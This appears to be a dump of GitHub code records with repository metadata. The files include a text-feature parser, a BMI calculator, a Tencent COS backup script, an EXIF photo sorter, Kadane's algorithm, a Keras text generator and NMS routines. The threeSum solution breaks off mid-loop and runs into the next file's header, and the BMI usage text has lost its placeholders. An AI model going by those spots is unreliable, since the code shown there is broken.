_set_caller_id('/unnamed')\n","repo_name":"ros/ros_comm","sub_path":"test/test_rospy/test/unit/test_rospy_names.py","file_name":"test_rospy_names.py","file_ext":"py","file_size_in_byte":10323,"program_lang":"python","lang":"en","doc_type":"code","stars":712,"dataset":"github-code","pt":"37"} +{"seq_id":"70761288749","text":"# data set parser; main purpose is to convert simple data to fully-featured data ready for training or classification\n# expects 2 types of input data:\n# 1) classified training set data consisting of a sentence and a class at each point\n# 2) unclassified test data consisting of a sentence\n# returns data, now with features\n\n# internal import\nimport debug\n\n# external imports\nimport nltk\nimport operator\nimport string\n\n\n# the maximum number of words that can be used as features (if reached included words will have greater occurrence)\n_max_features = 20000\n\n# the minimum ratio of word's occurrence to the number of training records (occurrences / number of records)\n# nb ideal: _min_occ_ratio = 0.0005\n_min_occ_ratio = 0.0005\n\n\n# build the complete dictionary of words found in the data and count the occurrences of each word\ndef _build_word_dict(validated_data):\n word_dict = {}\n\n # tokenize list of words in each record (skipping header row); only count words once per record (no duplicates) and\n # strip out punctuation\n for row in validated_data[1:]:\n words_with_duplicates = nltk.word_tokenize(row[0])\n words = set(words_with_duplicates)\n for word in words:\n if word not in string.punctuation:\n if word in word_dict:\n word_dict[word] += 1\n else:\n word_dict[word] = 1\n\n return word_dict\n\n\n# build the list of words to be used as record features, keeping within _max_features and prioritizing\n# by occurrence (greatest occurrence to lowest)\ndef _build_feature_list(word_dict, data_length):\n word_count_list = sorted(word_dict.items(), key=operator.itemgetter(1), reverse=True)\n\n # build feature list from sorted word count list until the occurrence ratio falls below the minimum\n feature_list = []\n for feature in word_count_list:\n occ_ratio = feature[1] / data_length\n if occ_ratio >= _min_occ_ratio:\n feature_list.append(feature[0])\n else:\n break\n\n return feature_list[0:_max_features]\n\n\n# build the list of lists containing both feature headers and individuals records (with their associated features)\ndef _build_featured_data(validated_data, feature_list):\n featured_data = []\n\n # build header row\n header_row = list(validated_data[0])\n header_row.extend(feature_list)\n featured_data.append(header_row)\n\n # build data rows, checking each feature against each record's list of words; a 1 in the matching column means the\n # feature exists; a 0 means that it does not (columns will be either RECORD, CLASS, [FEATURE_0], [FEATURE_1], etc.\n # in the case of training data or RECORD, [FEATURE_0], [FEATURE_1], etc. in the case of test data; thus if a record\n # has FEATURE_1 and is training data the value of the 4th item in that row's list would be 1\n for row in validated_data[1:]:\n\n # debug counter\n debug.run_counter(\"parser._build_featured_data\", 100)\n\n # tokenize the record's words and dump them in a set to increase lookup speed\n row_feature_list = []\n words_list = nltk.word_tokenize(row[0])\n words = set(words_list)\n for feature in feature_list:\n if feature in words:\n row_feature_list.append(1)\n else:\n row_feature_list.append(0)\n\n # append the build data row to the total featured data\n current_row = list(row)\n current_row.extend(row_feature_list)\n featured_data.append(current_row)\n\n # reset the debug counter since this function will be called again for classification\n debug.reset_counter(\"parser._build_featured_data\")\n\n return featured_data\n\n\n# manage the order of functions required to parse input training data; assumes that data has already passed validation\ndef _manage_training_parse(validated_data):\n\n # word_dict is a dictionary of each word that occurs in the data as keys and their occurrence count as values\n word_dict = _build_word_dict(validated_data)\n\n # feature_list is a list of words, sorted by count (occurrence) from greatest to least\n data_length = len(validated_data) - 1\n feature_list = _build_feature_list(word_dict, data_length)\n\n # featured_data is a list of lists, with the first row being headers, and the rest being individual records\n featured_data = _build_featured_data(validated_data, feature_list)\n\n return featured_data\n\n\n# manage the order of functions required to parse input test data; assumes that data has already passed validation\ndef _manage_test_parse(validated_data, classifier):\n\n # feature_list is a list of words, sorted by count (occurrence) from greatest to least\n feature_list = classifier.get_classifier_features()\n\n # featured_data is a list of lists, with the first row being headers, and the rest being individual records\n featured_data = _build_featured_data(validated_data, feature_list)\n\n return featured_data\n\n\n# validates whether a class has been assigned to each record, and whether exactly 2 classes have been used\n# returns True if classes are incorrect\ndef _classes_incorrect(unparsed_data):\n class_set = set()\n\n # for each class in data, count unique classes until one over 2 (too many classes found)\n for row in unparsed_data[1:]:\n class_name = row[1]\n if class_name not in class_set:\n if len(class_set) <= 2:\n class_set.add(class_name)\n else:\n return True\n\n # make sure that at exactly 2 classes were found\n if len(class_set) == 2:\n return False\n else:\n return True\n\n\n# one of two public interfaces for parser; returns an updated list of lists of parsed training data; if incoming data\n# is not formatted correctly returns a descriptive error in a string for the interface to handle\ndef prepare_training_data(unparsed_data):\n if not unparsed_data:\n return \"< input data is empty >\"\n elif len(unparsed_data[0]) < 2:\n return \"< input data columns missing; should be exactly 2 >\"\n elif len(unparsed_data[0]) > 2:\n return \"< input data has too many columns; should be exactly 2 >\"\n elif (unparsed_data[0][0] != \"RECORD\") or (unparsed_data[0][1] != \"CLASS\"):\n return \"< input data headers incorrect; should be 'RECORD', 'CLASS' >\"\n elif not unparsed_data[1]:\n return \"< input data missing records >\"\n elif _classes_incorrect(unparsed_data):\n return \"< input data classes are inconsistent; each record should be assigned 1 of exactly 2 classes >\"\n else:\n print(\"Parsing training data...\")\n return _manage_training_parse(unparsed_data)\n\n\n# one of two public interfaces for parser; returns an updated list of lists of parsed test data; if incoming data\n# is not formatted correctly returns a descriptive error in a string for the interface to handle\ndef prepare_test_data(unparsed_data, classifier):\n if not unparsed_data:\n return \"< input data is empty >\"\n elif len(unparsed_data[0]) > 1:\n return \"< input data has too many columns; should be exactly 1 >\"\n elif unparsed_data[0][0] != \"RECORD\":\n return \"< input data header incorrect; should be 'RECORD' >\"\n else:\n print(\"Parsing test data...\")\n return _manage_test_parse(unparsed_data, classifier)","repo_name":"glanton/robocritic","sub_path":"parser.py","file_name":"parser.py","file_ext":"py","file_size_in_byte":7332,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"17607148497","text":"class Solution:\n def threeSum(self, nums):\n '''Use 2Sum concept and iterate over all i's, O(n^2)\n Look for O(nlogn)'''\n all_triplets=[]\n nums.sort()\n for i in range(len(nums)):\n if i>0 and nums[i]!=nums[i-1]:\n target=-nums[i]\n j, k=i+1, len(nums)-1\n while j\n# This program can be distributed under the terms of the GNU GPL.\n# See the file COPYING.\n\ndef imperial(lbs, inches):\n return 703.0*lbs/(inches**2)\n\n\ndef metric(kgs, cms):\n return 10000.0*kgs/(cms**2)\n\ndef description(bmi):\n if bmi < 18.5:\n return 'underweight'\n elif 18.5 <= bmi < 25.0:\n return 'normal weight'\n elif 25.0 <= bmi < 30.0:\n return 'overweight'\n else:\n return 'obese'\n\n\ndef bmi_desc(weight, height, measure= imperial):\n bmi = measure(weight, height)\n desc = description(bmi)\n return bmi, desc\n\n\ndef main(args):\n weight = float(args[0])\n height = float(args[1])\n\n bmi, desc = bmi_desc(weight, height)\n\n print('BMI = %.1f' % bmi, '(%s)' % desc)\n\n\nif __name__ == '__main__':\n import sys\n try:\n main(sys.argv[1:])\n except IndexError:\n print('''\nbmi.py\n\nCompute BMI and a description.\n\nSyntax:\n\tbmi.py \n\n''')\n","repo_name":"dgabrielson/django-hackers-diet","sub_path":"diet/cli/bmi.py","file_name":"bmi.py","file_ext":"py","file_size_in_byte":1368,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"1269083702","text":"# -*- coding: utf-8 -*-\nimport os\n\nfrom qcloud_cos import CosConfig, CosS3Client\n\nimport configparser\n\nfrom data_backup import tools, copyfile\n\nif __name__ == '__main__':\n cf = configparser.ConfigParser()\n tools.print_a('开始进行文件备份')\n try:\n if \"SERVICE_ENV\" in os.environ:\n config = os.environ[\"SERVICE_ENV\"]\n else:\n config = \"CopyConfig.ini\"\n cf.read(config, \"utf-8\")\n file_list = cf.get(\"copyfile\", \"SourceFiles\")\n folder_name = cf.get(\"copyfile\", \"DestFolder\")\n zipAndDel = cf.getint(\"copyfile\", \"zipAndDel\")\n folderAddNow = cf.getint(\"copyfile\", \"FolderAddNow\")\n dst_folder_name = copyfile.copy_and_zip(file_list, folder_name, zipAndDel, folderAddNow)\n\n tools.print_a('开始上传压缩文件')\n secret_id = cf.get(\"cossetting\", \"secret_id\")\n secret_key = cf.get(\"cossetting\", \"secret_key\")\n region = cf.get(\"cossetting\", \"region\")\n token = cf.get(\"cossetting\", \"token\")\n scheme = cf.get(\"cossetting\", \"scheme\")\n cos_config = CosConfig(Region=region, SecretId=secret_id, SecretKey=secret_key, Token=token, Scheme=scheme)\n bucket = cf.get(\"cossetting\", \"bucket\")\n client = CosS3Client(cos_config)\n response = client.upload_file(\n Bucket=bucket,\n LocalFilePath=dst_folder_name,\n Key='McDataBackup',\n PartSize=1,\n MAXThread=10,\n EnableMD5=False\n )\n tools.print_i(response['ETag'])\n except Exception as e:\n tools.print_e(e)\n tools.print_d('文件备份成功')\n","repo_name":"Zminghao/McDataBackup","sub_path":"data_backup/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":1626,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"14917492728","text":"from PIL import Image\nimport os, glob, shutil\n\ndef sortKey(filename):\n ans = \"Z\" * 30\n try: \n ans = Image.open(filename)._getexif()[306] \n except KeyError: \n try: \n ans = Image.open(filename)._getexif()[36868] \n except KeyError: \n print(\"No timestamp\")\n return ans\n\ndef sortJpgByDate(fileType = \"jpg\"):\n os.mkdir(\"tmp\")\n for item in glob.iglob(\"*\"):\n shutil.move(item, \"tmp\")\n items = glob.glob(\"tmp/*\")\n print(\"items\", items)\n items.sort(key = sortKey)\n name_len = len(str(len(items)))\n print(\"glob *: \", glob.glob(\"*\"))\n for i in range(len(items)):\n print(\"file\", items[i])\n shutil.move(items[i], ((\"0\" * (name_len - len(str(i + 1)))) + str(i + 1)) + \".\" + fileType)\n\n for item in glob.iglob(\"*\"):\n shutil.move(item, \"tmp\")\n\n items = glob.glob(\"tmp/*\")\n for i in range(len(items)):\n sk = sortKey(items[i])\n if not sk:\n if not os.path.isdir(\"без даты\"):\n os.mkdir(\"без даты\")\n shutil.move(items[i], \"без даты/\" + ((\"0\" * (name_len - len(str(i + 1)))) + str(i + 1)) + \".\" + fileType)\n else:\n y, m, d = sk.split()[0].split(\":\")\n if not os.path.isdir(y):\n os.mkdir(y)\n if not os.path.isdir(y + \"/\" + m):\n os.mkdir(y + \"/\" + m)\n if not os.path.isdir(y + \"/\" + m + \"/\" + d):\n os.mkdir(y + \"/\" + m + \"/\" + d)\n shutil.move(items[i], y + \"/\" + m + \"/\" + d)\n\n os.rmdir(\"tmp\")","repo_name":"riskingh/SortingPython","sub_path":"sorting_types/jpg_config.py","file_name":"jpg_config.py","file_ext":"py","file_size_in_byte":1565,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"11824880355","text":"import numpy as np\nfrom knapsackSolver import knapsack\n\n\ndef analyzeColors(data_base):\n print(data_base)\n min_row = np.min(data_base, axis=0)\n print(min_row)\n\n Base_Black = []\n Base_Black.append([0, 0, 2, 0, 0, 0])\n Base_Black.append([0, 0, 0, 2, 0, 0])\n Base_Black.append([0, 0, 0, 0, 2, 0])\n\n Base_Blue = []\n Base_Blue.append([0, 0, 0, 2, 0, 0])\n Base_Blue.append([0, 0, 1, 0, 1, 0])\n Base_Blue.append([0, 0, 2, 0, 0, 0])\n\n Base_Red = []\n Base_Red.append([0, 0, 0, 1, 2, 0])\n Base_Red.append([0, 0, 0, 3, 0, 0])\n Base_Red.append([0, 1, 1, 0, 0, 0])\n\n Base_Green = []\n Base_Green.append([1, 1, 1, 3, 1, 1])\n Base_Green.append([1, 1, 2, 2, 1, 1])\n Base_Green.append([1, 1, 1, 2, 2, 1])\n\n Minimum_subtracted = data_base - min_row\n Bases = [[], [], [], []]\n freq = [{} for i in range(4)]\n for row_idx in range(data_base.shape[0]):\n row = data_base[row_idx]\n print(row)\n for color_idx in range(4):\n idx_start = 6*color_idx\n color_part = row[range(idx_start, idx_start+6)]\n color_part = np.array(color_part)\n print(Bases[color_idx])\n if(sum(color_part) > 0):\n if(str(color_part) in Bases[color_idx]):\n print(\"Already found: \", color_part)\n else:\n Bases[color_idx].append(str(color_part))\n print(\"Found: \", color_part)\n if(str(color_part) in freq[color_idx].keys()):\n freq[color_idx][str(color_part)] = freq[color_idx][str(color_part)] + 1\n else:\n freq[color_idx][str(color_part)] = 1\n for color_idx in range(4):\n print(\"Color idx = {}\".format(color_idx))\n for entry in Bases[color_idx]:\n print(entry)\n\n uniqrows = []\n for idx in range(data_base.shape[0]):\n row = str(data_base[idx])\n if(not(row in uniqrows)):\n uniqrows.append(row)\n print(len(uniqrows))\n\n for color_idx in range(4):\n print(\"\\n\\nColor = {}\".format(color_idx))\n for color_part in freq[color_idx].keys():\n print(color_part + \"\\t\" + str(freq[color_idx][color_part]))\n\n\ndef sendBoxesMaximally(box):\n pass\n\n\ndef evaluateBoxValue(F_goal, F_limit, box):\n # Compute how often we can send the box:\n counter_goal = 0\n counter_limit = 0\n counter_limit_violation = 0\n alpha = np.zeros(F_goal.shape[0])\n for row_idx in range(F_goal.shape[0]):\n for muliplyer in range(1, 2):\n if(np.all(F_goal[row_idx] >= muliplyer * box)):\n counter_goal = counter_goal + 1\n alpha[row_idx] = muliplyer\n if(np.all(F_limit[row_idx] >= box)):\n counter_limit = counter_limit + 1\n #if(np.any(F_limit[row_idx]*alpha[row_idx] < box)):\n # counter_limit_violation = counter_limit_violation + 1\n\n res = counter_goal * np.sum(box)\n if(np.sum(box) == 10):\n res = counter_limit * np.sum(box)\n if(counter_limit_violation > 0):\n res = -1000\n return res, alpha\n\n\ndef greedySelectBox(data):\n print(data)\n freq = {}\n for rowidx in range(data.shape[0]):\n row = data[rowidx]\n for color in range(len(row)):\n if(row[color] > 0):\n key = (row[color], color)\n if(key in freq.keys()):\n freq[key] += 1\n else:\n freq[key] = 1\n\n for key in freq.keys():\n print(str(key) + \"\\t->\\t\" + str(freq[key]))\n # Find largest possible box that can be send out to the largest number of\n # stores\n # items = []\n # for key in freq.keys():\n # color = key[1]\n # fill = key[0]\n # occurences = freq[key]\n # items.append((occurences, fill))\n # print(items)\n # val, newBox = knapsack(items, 10)\n # print(val, newBox)\n\n\ndef computeNewBox(F_goal, F_limit):\n # Compute new box using dynamic programming:\n box_values = np.zeros((11, 25))\n box_fills = [[np.zeros(24) for i in range(25)] for j in range(11)]\n alpha_values = [[np.zeros(F_goal.shape[0]) for i in range(25)] for j in range(11)]\n for max_weight in range(1, 11):\n for max_shirt_type in range(1, 25):\n # Know that we may add at most\n # max(F_limit, down)[max_shirt_type] shirts of type MST\n L = np.max(F_limit, axis = 0)[max_shirt_type - 1]\n L = int(L)\n best_val = -2000.0\n best_box = 0.0*np.arange(24)\n best_alpha = 0.0*np.arange(F_goal.shape[0])\n for num_shirts_added in range(L+1):\n # Pretend we are adding num_shirts_added shirts of type MST\n w = int(max_weight - num_shirts_added)\n if(w >= 0):\n if(max_shirt_type > 0):\n box = box_fills[w][max_shirt_type - 1]\n new_box = np.copy(box)\n new_box[max_shirt_type-1] = num_shirts_added\n value, alpha = evaluateBoxValue(F_goal, F_limit, new_box)\n if(value > best_val):\n best_box = np.copy(new_box)\n best_val = value\n best_alpha = alpha\n box_values[max_weight, max_shirt_type] = best_val\n box_fills[max_weight][max_shirt_type] = best_box\n alpha_values[max_weight][max_shirt_type] = best_alpha\n\n # Compute the best value\n best_box = []\n best_val = -100\n best_alpha = []\n for fill in [4, 6, 8, 10]:\n for i in range(25):\n if(box_values[fill, i] > best_val):\n box = box_fills[fill][i]\n if(np.sum(box) in [4, 6, 8, 10]):\n best_val = box_values[fill, i]\n best_box = box_fills[fill][i]\n best_alpha = alpha_values[fill][i]\n # ind = np.unravel_index(np.argmax(box_values, axis=None), box_values.shape)\n # print(ind)\n # best_box = box_fills[ind[0]][ind[1]]\n # alpha = alpha_values[ind[0]][ind[1]]\n # best_value = box_values[ind]\n return [best_box, best_val, best_alpha]\n\n\ndef main():\n # box_list = []\n data = np.genfromtxt('./BaseData.csv', delimiter=',')\n # for i in range(25):\n # box, val, ala = computeNewBox(data, data)\n # sub_mtx = np.outer(ala, box)\n # data = data - sub_mtx\n # box_list.append(box)\n # print(np.sum(data), np.sum(box))\n # for row in data:\n # print(row)\n # print(\"----------\")\n # for box in box_list:\n # print(box)\n analyzeColors(data)\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"iapuiu/TShirts","sub_path":"presentation/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":6670,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"28545654205","text":"import numpy as np\nfrom keras.models import model_from_yaml\nfrom random import randint\n\n\nclass GenerativeNetwork:\n def __init__(self, corpus_path, model_path, weights_path):\n with open(corpus_path) as corpus_file:\n self.corpus = corpus_file.read()\n\n # Get a unique identifier for each char in the corpus,\n # then make some dicts to ease encoding and decoding\n self.chars = sorted(list(set(self.corpus)))\n self.encoding = {c: i for i, c in enumerate(self.chars)}\n self.decoding = {i: c for i, c in enumerate(self.chars)}\n\n # Some fields we'll need later\n self.num_chars = len(self.chars)\n self.sentence_length = 50\n self.corpus_length = len(self.corpus)\n\n # Build our network from loaded architecture and weights\n with open(model_path) as model_file:\n architecture = model_file.read()\n\n self.model = model_from_yaml(architecture)\n self.model.load_weights(weights_path)\n self.model.compile(loss='categorical_crossentropy', optimizer='adam')\n\n def generate(self, seed_pattern):\n X = np.zeros((1, self.sentence_length, self.num_chars), dtype=np.bool)\n for i, character in enumerate(seed_pattern):\n X[0, i, self.encoding[character]] = 1\n\n generated_text = \"\"\n for i in range(500):\n prediction = np.argmax(self.model.predict(X, verbose=0))\n\n generated_text += self.decoding[prediction]\n\n activations = np.zeros((1, 1, self.num_chars), dtype=np.bool)\n activations[0, 0, prediction] = 1\n X = np.concatenate((X[:, 1:, :], activations), axis=1)\n\n return generated_text\n\n def make_seed(self, seed_phrase=\"\"):\n if seed_phrase:\n phrase_length = len(seed_phrase)\n pattern = \"\"\n for i in range (0, self.sentence_length):\n pattern += seed_phrase[i % phrase_length]\n else:\n seed = randint(0, self.corpus_length - self.sentence_length)\n pattern = self.corpus[seed:seed + self.sentence_length]\n\n return pattern\n","repo_name":"vivshaw/shakespeare-LSTM","sub_path":"network/generate.py","file_name":"generate.py","file_ext":"py","file_size_in_byte":2120,"program_lang":"python","lang":"en","doc_type":"code","stars":20,"dataset":"github-code","pt":"37"} +{"seq_id":"10211829926","text":"import pandas as pd\n\ndef norm(inF1, inF2):\n LibSize = pd.read_table(inF1, header=None)\n LibSizeFactor = 20000000\n\n df = pd.read_table(inF2, header=0) \n for i in range(4, df.shape[1]):\n df.ix[:,i] = df.ix[:,i]/LibSize.ix[i-4, 1] * LibSizeFactor\n df.to_csv(inF2+'-Norm', sep='\\t', index=False)\n\nnorm('mTECs-Sample-LibrarySize-NF','mTECs_Gene_Promoter_Cov_ProteinCoding')\nnorm('mTECs-Sample-LibrarySize-NF-AverRep', 'mTECs_Gene_Promoter_Cov_ProteinCoding-AverRep')\n\n\n\n","repo_name":"chw333/StanfordSGTC","sub_path":"mTECs/12-AccessibleGenesDensity/AccessibleGenesDensity/02-norm-by-libsize.py","file_name":"02-norm-by-libsize.py","file_ext":"py","file_size_in_byte":488,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"} +{"seq_id":"39443185743","text":"\"\"\"\nUnit tests for the `order_by` template filter.\n\"\"\"\nimport random\n\nfrom django.contrib.auth import get_user_model\n\nfrom cms.test_utils.testcases import CMSTestCase\n\nfrom richie.apps.core.factories import UserFactory\nfrom richie.apps.courses.templatetags.extra_tags import order_by\n\nUser = get_user_model()\n\n\nclass OrderByFilterTestCase(CMSTestCase):\n \"\"\"\n Unit test suite to validate the behavior of the `order_by` template filter.\n \"\"\"\n\n def test_templatetags_extra_tags_order_by(self):\n \"\"\"\n The query passed as argument should be ordered according to arguments.\n \"\"\"\n for name, is_active in random.sample(\n [\n (\"Léa\", True),\n (\"François\", False),\n (\"Géraldine\", False),\n (\"Gérard\", True),\n ],\n 4,\n ):\n UserFactory(username=name, is_active=is_active)\n\n self.assertEqual(\n [\"Léa\", \"Gérard\", \"Géraldine\", \"François\"],\n [u.username for u in order_by(User.objects.all(), \"-username\")],\n )\n self.assertEqual(\n [\"François\", \"Géraldine\", \"Gérard\", \"Léa\"],\n [u.username for u in order_by(User.objects.all(), \"is_active,username\")],\n )\n self.assertEqual(\n [\"Gérard\", \"Léa\", \"François\", \"Géraldine\"],\n [u.username for u in order_by(User.objects.all(), \"-is_active,username\")],\n )\n","repo_name":"openfun/richie","sub_path":"tests/apps/courses/test_templatetags_extra_tags_order_by.py","file_name":"test_templatetags_extra_tags_order_by.py","file_ext":"py","file_size_in_byte":1450,"program_lang":"python","lang":"en","doc_type":"code","stars":240,"dataset":"github-code","pt":"37"} +{"seq_id":"22526152277","text":"'''\nKadane's Algorithm (max sum subarray)\nGiven input array of integers, return max sum from the subarray \nthat consists only of adjacent values from the input array.\n\nSample input: [3, 5, -9, 1, 3, -2, 3, 4, 7, 2, -9, 6, 3, 1, -5, 4]\nSample output: 19 ([1, 3, -2, 3, 4, 7, 2, -9, 6, 3, 1])\n'''\n\nclass KD:\n \n \"\"\"\n Algorithm: maxEndingHere = max{maxEndingHere + array[i], array[i]}\n Time complexity: O(n), where n=num elements in array. Since this is a single pass through array.\n Space complexity: O(1), since maxSoFar and maxEndingHere just stores the latest maxes (single value).\n \"\"\"\n @staticmethod\n def kadanesAlgorithm(array):\n maxEndingHere = array[0]\n maxSoFar = maxEndingHere\n for i in range(1, len(array)):\n val = array[i]\n maxEndingHere = max(val, maxEndingHere+val)\n print(\"maxEndingHere: \", maxEndingHere)\n if maxEndingHere > maxSoFar:\n maxSoFar = maxEndingHere\n return maxSoFar\n \n '''\n Version of kadanes that also gives the actual subarray, using variables that keep track of \n latest starting subarray index and max so far index.\n '''\n @staticmethod\n def kadanesWithSubarray(array):\n #maxEndingHere = array[0]\n maxEndingHere = array[0]\n maxSoFar = array[0]\n maxSoFarInd = 0\n mssStartInd = 0 # max sum subarray start index: the index of the latest value where array value == maxEndingHere\n \n for i in range(1, len(array)):\n val = array[i]\n if maxEndingHere + val > val:\n maxEndingHere = maxEndingHere + val\n else:\n maxEndingHere = val\n mssStartInd = i\n \n if maxEndingHere > maxSoFar:\n maxSoFar = maxEndingHere\n maxSoFarInd = i\n \n print(\"maxEndingHere: \", maxEndingHere)\n print(\"maxSoFar: \", maxSoFar)\n print(\"mssStartInd: \", mssStartInd)\n print(\"maxSoFarInd: \", maxSoFarInd)\n \n return [maxSoFar, array[mssStartInd:maxSoFarInd+1]]\n \n \"\"\"\n Brute force:\n Time complexity: O(n^2), where n=len(array)\n Space complexity: O(1), because maxSum only stores the highest sum so far\n \"\"\"\n @staticmethod\n def maxSumSubArrayBruteForce(array):\n maxSum = -float(\"inf\")\n for i in range(len(array)):\n val = array[i]\n print(\"i= %s, val= %s\" % (i ,val))\n \n for j in range(i+1, len(array)+1):\n print(\" j=\", j)\n subarray = array[i:j]\n print(\" subarray: \", subarray)\n saSum = sum(subarray)\n print(\" saSum: \", saSum)\n if saSum > maxSum:\n maxSum = saSum\n print(\" maxSum set to: \", maxSum)\n return maxSum\n \n \n @staticmethod\n def test1(alg):\n array = [3, 5, -9, 1, 3, -2, 3, 4, 7, 2, -9, 6, 3, 1, -5, 4]\n #ans: 19 ([1, 3, -2, 3, 4, 7, 2, -9, 6, 3, 1])\n ans = alg(array)\n print(\"test1 ans: \", ans)\n \n @staticmethod\n def test2(alg):\n array = [1, 2, 3, 4, 5, 6, 7, 8, 9, 10] #ans: 55\n ans = alg(array)\n print(\"test2 ans: \", ans)\n \n @staticmethod\n def test3(alg):\n array = [-1, -2, -3, -4, -5, -6, -7, -8, -9, -10] #ans: -1\n ans = alg(array)\n print(\"test3 ans: \", ans)\n \n\nalg = KD.kadanesAlgorithm\n#alg = KD.kadanesWithSubarray \nKD.test1(alg)\n#KD.test2() \n#KD.test3() \n\n \n","repo_name":"mcxu/code-sandbox","sub_path":"PythonSandbox/src/misc/kadanes_max_sum_subarray.py","file_name":"kadanes_max_sum_subarray.py","file_ext":"py","file_size_in_byte":3587,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"37"} +{"seq_id":"9730629438","text":"import numpy as np\n\ndef py_cpu_nms(dets, thresh):\n \"\"\"Pure Python NMS baseline.\"\"\"\n x1 = dets[:, 0]\n y1 = dets[:, 1]\n x2 = dets[:, 2]\n y2 = dets[:, 3]\n scores = dets[:, 4]\n\n areas = (x2 - x1 + 1) * (y2 - y1 + 1)\n order = scores.argsort()[::-1]\n\n keep = []\n while order.size > 0:\n i = order[0]\n keep.append(i)\n xx1 = np.maximum(x1[i], x1[order[1:]])\n yy1 = np.maximum(y1[i], y1[order[1:]])\n xx2 = np.minimum(x2[i], x2[order[1:]])\n yy2 = np.minimum(y2[i], y2[order[1:]])\n\n w = np.maximum(0.0, xx2 - xx1 + 1)\n h = np.maximum(0.0, yy2 - yy1 + 1)\n inter = w * h\n ovr = inter / (areas[i] + areas[order[1:]] - inter)\n\n inds = np.where(ovr <= thresh)[0]\n order = order[inds + 1]\n\n return keep\n\ndef non_max_suppression(dets, scores, thresh):\n \"\"\"Pure Python NMS baseline.\"\"\"\n #x1、y1、x2、y2、以及score赋值\n x1 = dets[:, 0]\n y1 = dets[:, 1]\n x2 = dets[:, 2]\n y2 = dets[:, 3]\n #每一个检测框的面积\n areas = (x2 - x1 + 1) * (y2 - y1 + 1)\n #按照score置信度降序排序\n order = scores.argsort()[::-1]\n keep = [] #保留的结果框集合\n while order.size > 0:\n i = order[0]\n keep.append(i) #保留该类剩余box中得分最高的一个\n #得到相交区域,左上及右下\n xx1 = np.maximum(x1[i], x1[order[1:]])\n yy1 = np.maximum(y1[i], y1[order[1:]])\n xx2 = np.minimum(x2[i], x2[order[1:]])\n yy2 = np.minimum(y2[i], y2[order[1:]])\n #计算相交的面积,不重叠时面积为0\n w = np.maximum(0.0, xx2 - xx1 + 1)\n h = np.maximum(0.0, yy2 - yy1 + 1)\n inter = w * h\n #计算IoU:重叠面积 /(面积1+面积2-重叠面积)\n ovr = inter / (areas[i] + areas[order[1:]] - inter)\n #保留IoU小于阈值的box\n inds = np.where(ovr <= thresh)[0]\n order = order[inds + 1] #因为ovr数组的长度比order数组少一个,所以这里要将所有下标后移一位\n return keep\n\n\"\"\"\n按每个类别 做 soft_nms\n\"\"\"\ndef soft_nms(boxes: np.ndarray, sigma: float = 0.5, Nt: float = 0.3, threshold: float = 0.001, method: int = 0):\n \"\"\"boxes:[bs,5] [x1,y1,x2,y2,scores]\"\"\"\n N = boxes.shape[0]\n # pos = 0\n # maxscore = 0\n # maxpos = 0\n\n for i in range(N):\n maxscore = boxes[i, 4]\n maxpos = i\n\n tx1 = boxes[i, 0]\n ty1 = boxes[i, 1]\n tx2 = boxes[i, 2]\n ty2 = boxes[i, 3]\n ts = boxes[i, 4]\n\n pos = i + 1\n # get max box\n while pos < N:\n if maxscore < boxes[pos, 4]:\n maxscore = boxes[pos, 4]\n maxpos = pos\n pos = pos + 1\n\n # add max box as a detection\n boxes[i, 0] = boxes[maxpos, 0]\n boxes[i, 1] = boxes[maxpos, 1]\n boxes[i, 2] = boxes[maxpos, 2]\n boxes[i, 3] = boxes[maxpos, 3]\n boxes[i, 4] = boxes[maxpos, 4]\n\n # swap ith box with position of max box\n boxes[maxpos, 0] = tx1\n boxes[maxpos, 1] = ty1\n boxes[maxpos, 2] = tx2\n boxes[maxpos, 3] = ty2\n boxes[maxpos, 4] = ts\n\n tx1 = boxes[i, 0]\n ty1 = boxes[i, 1]\n tx2 = boxes[i, 2]\n ty2 = boxes[i, 3]\n ts = boxes[i, 4]\n\n pos = i + 1\n # NMS iterations, note that N changes if detection boxes fall below threshold\n while pos < N:\n x1 = boxes[pos, 0]\n y1 = boxes[pos, 1]\n x2 = boxes[pos, 2]\n y2 = boxes[pos, 3]\n s = boxes[pos, 4]\n\n area = (x2 - x1 + 1) * (y2 - y1 + 1)\n iw = (min(tx2, x2) - max(tx1, x1) + 1)\n if iw > 0:\n ih = (min(ty2, y2) - max(ty1, y1) + 1)\n if ih > 0:\n ua = float((tx2 - tx1 + 1) * (ty2 - ty1 + 1) + area - iw * ih)\n ov = iw * ih / ua # iou between max box and detection box\n\n if method == 1: # linear\n if ov > Nt:\n weight = 1 - ov\n else:\n weight = 1\n elif method == 2: # gaussian\n weight = np.exp(-(ov * ov) / sigma)\n else: # original NMS\n if ov > Nt:\n weight = 0\n else:\n weight = 1\n\n boxes[pos, 4] = weight * boxes[pos, 4]\n\n # if box score falls below threshold, discard the box by swapping with last box\n # update N\n if boxes[pos, 4] < threshold:\n boxes[pos, 0] = boxes[N - 1, 0]\n boxes[pos, 1] = boxes[N - 1, 1]\n boxes[pos, 2] = boxes[N - 1, 2]\n boxes[pos, 3] = boxes[N - 1, 3]\n boxes[pos, 4] = boxes[N - 1, 4]\n N = N - 1\n pos = pos - 1\n\n pos = pos + 1\n\n keep = [i for i in range(N)]\n return keep\n\ndef py_cpu_softnms(dets, sc, Nt=0.3, sigma=0.5, thresh=0.001, method=2):\n \"\"\"\n py_cpu_softnms\n :param dets: boexs 坐标矩阵 format [y1, x1, y2, x2]\n :param sc: 每个 boxes 对应的分数\n :param Nt: iou 交叠门限\n :param sigma: 使用 gaussian 函数的方差\n :param thresh: 最后的分数门限\n :param method: 使用的方法\n :return: 留下的 boxes 的 index\n \"\"\"\n\n # indexes concatenate boxes with the last column\n N = dets.shape[0]\n indexes = np.array([np.arange(N)])\n dets = np.concatenate((dets, indexes.T), axis=1)\n\n # the order of boxes coordinate is [y1,x1,y2,x2]\n y1 = dets[:, 